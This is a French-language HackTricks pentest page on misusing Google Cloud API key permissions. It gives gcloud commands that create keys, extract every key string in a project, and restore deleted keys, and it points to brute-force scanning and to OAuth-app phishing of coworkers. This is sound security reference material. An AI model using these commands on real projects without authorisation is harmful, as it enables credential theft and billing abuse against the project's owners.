GCP - Apikeys Privesc

Support HackTricks

Apikeys

Les autorisations suivantes sont utiles pour créer et voler des clés API, pas ceci des docs : Une clé API est une simple chaîne cryptée qui identifie une application sans aucun principal. Elles sont utiles pour accéder à des données publiques de manière anonyme, et sont utilisées pour associer les requêtes API à votre projet pour le quota et la facturation.

Par conséquent, avec une clé API, vous pouvez faire payer cette entreprise pour votre utilisation de l'API, mais vous ne pourrez pas élever vos privilèges.

Pour plus d'informations sur les clés API, consultez :

GCP - API Keys Enum

Pour d'autres façons de créer des clés API, consultez :

GCP - Serviceusage Privesc

Brute Force API Key access

Comme vous ne savez peut-être pas quelles API sont activées dans le projet ou les restrictions appliquées à la clé API que vous avez trouvée, il serait intéressant d'exécuter l'outil https://github.com/ozguralp/gmapsapiscanner et de vérifier ce à quoi vous pouvez accéder avec la clé API.

apikeys.keys.create

Cette autorisation permet de créer une clé API :

gcloud services api-keys create
Operation [operations/akmf.p7-[...]9] complete. Result: {
"@type":"type.googleapis.com/google.api.apikeys.v2.Key",
"createTime":"2022-01-26T12:23:06.281029Z",
"etag":"W/\"HOhA[...]==\"",
"keyString":"AIzaSy[...]oU",
"name":"projects/5[...]6/locations/global/keys/f707[...]e8",
"uid":"f707[...]e8",
"updateTime":"2022-01-26T12:23:06.378442Z"
}

Vous pouvez trouver un script pour automatiser la création, l'exploitation et le nettoyage d'un environnement vulnérable ici.

Notez qu'en règle générale, les utilisateurs ont des permissions pour créer de nouveaux projets et qu'ils se voient attribuer le rôle de Propriétaire sur le nouveau projet. Ainsi, un utilisateur pourrait créer un projet et une clé API à l'intérieur de ce projet.

apikeys.keys.getKeyString , apikeys.keys.list

Ces permissions permettent de lister et d'obtenir toutes les apiKeys et d'obtenir la clé :

for  key  in  $(gcloud services api-keys list --uri); do
gcloud services api-keys get-key-string "$key"
done

Vous pouvez trouver un script pour automatiser la création, l'exploitation et le nettoyage d'un environnement vulnérable ici.

apikeys.keys.undelete , apikeys.keys.list

Ces permissions vous permettent de lister et de régénérer des clés API supprimées. La clé API est donnée dans la sortie après que la récupération soit effectuée :

gcloud services api-keys list --show-deleted
gcloud services api-keys undelete <key-uid>

Créer une application OAuth interne pour phishing d'autres travailleurs

Consultez la page suivante pour apprendre comment faire cela, bien que cette action appartienne au service clientauthconfig selon la documentation:

GWS - Google Platforms Phishing
Soutenir HackTricks

Last updated